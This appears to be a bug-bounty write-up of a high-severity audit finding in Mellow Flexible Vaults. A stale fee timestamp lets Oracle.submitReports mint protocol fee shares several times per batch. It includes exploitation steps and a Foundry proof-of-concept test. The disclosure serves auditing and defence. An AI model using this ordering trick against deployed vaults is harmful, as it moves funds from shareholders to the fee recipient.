# Protocol Fee Multiple Accrual in Oracle.submitReports

Oracle.submitReports accrues protocol fees per non-base asset report using a stale timestamp, minting excess shares to the fee recipient.

- Payout: Audit contest
- Severity: high
- Program: Mellow Flexible Vaults
- Found by: 0x23r0
- Disclosed: 2025-07-12
- Write-up quality: 7/10
- Original: https://github.com/sherlock-audit/2025-07-mellow-flexible-vaults-judging/issues/167
- Library page: https://bugbountylibrary.com/r/sherlock%3A2025-07-mellow-flexible-vaults%3AH-4
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:sherlock sev:high tech:solidity technique:source-review vuln:accounting-error vuln:business-logic vuln:reward-distribution

**Target:** Oracle.submitReports / ShareModule.handleReport / FeeManager
**Root cause:** FeeManager.updateState early-returns for non-base assets, so the timestamp is only refreshed on the base asset report; each prior report in the batch recomputes fees against the same stale timestamp.
**Steps:**
1. Configure vault with multiple assets, set base asset and protocolFeeD6 > 0
2. Advance time so block.timestamp > stored timestamp
3. Call `oracle.submitReports(reports)` with non-base assets ordered before the base asset
4. Each non-base report mints fees via `calculateFee` using the old timestamp; `updateState` returns early
5. Base asset report finally updates timestamp, but fees already accrued multiple times
**How found:** Code reading of the interaction between Oracle.submitReports batching and FeeManager.updateState's early return for non-base assets, noticing the timestamp is only advanced once per batch while fees are computed per report.
**Exploitation:** Vault admin (or anyone able to submit reports) orders non-base asset reports first in a batch; each mints protocol fee shares to the fee recipient for the same elapsed period, inflating fee recipient share balance at the expense of other shareholders.
**Insight:** When a batch loop calls a per-item fee/interest accrual that depends on a shared 'last updated' timestamp, check whether the timestamp is refreshed inside the loop or only on a special item — ordering of items in the batch then becomes an exploit primitive.

## Proof of concept (copied exactly from the original report)

**Test proving multiple fee accrual across reports**

```
function testMultipleTimesFee() external {
    Deployment memory deployment = createVault(vaultAdmin, vaultProxyAdmin, assetsDefault);
    Oracle oracle = deployment.oracle;
    address asset = assetsDefault[0];

    vm.startPrank(vaultAdmin);
    deployment.feeManager.setFeeRecipient(vaultAdmin);
    deployment.feeManager.setFees(0,0,0, 1e5); // 10% protocol fee
    deployment.feeManager.setBaseAsset(address(deployment.vault), asset);
    vm.stopPrank();

    IOracle.Report[] memory reports = new IOracle.Report[](3); 
    for (uint256 i = 0; i < 3; i++) {
        reports[i].asset = assetsDefault[2 - i];
        reports[i].priceD18 = 1e18;
    }

    vm.startPrank(vaultAdmin);
    oracle.submitReports(reports);
    for (uint256 i = 0; i < 3; i++) {
        oracle.acceptReport(reports[i].asset, reports[i].priceD18, uint32(block.timestamp));
    }
    vm.stopPrank();

    // Set initial shares to 1000
    vm.prank(address(deployment.vault));
    deployment.shareManager.mint(address(0x100), 1000 ether);

    // Move time forward by 1 year
    skip(365 days);

    // Submit reports for 3 assets
    vm.prank(vaultAdmin);
    oracle.submitReports(reports);

    // Check the fee recipient's shares
    uint256 feeRecipientShares = deployment.shareManager.sharesOf(vaultAdmin);
    console.log("Fee recipient shares:", feeRecipientShares);

    assertGt(feeRecipientShares, 300 ether, "Fee recipient shares mismatch");
}
```

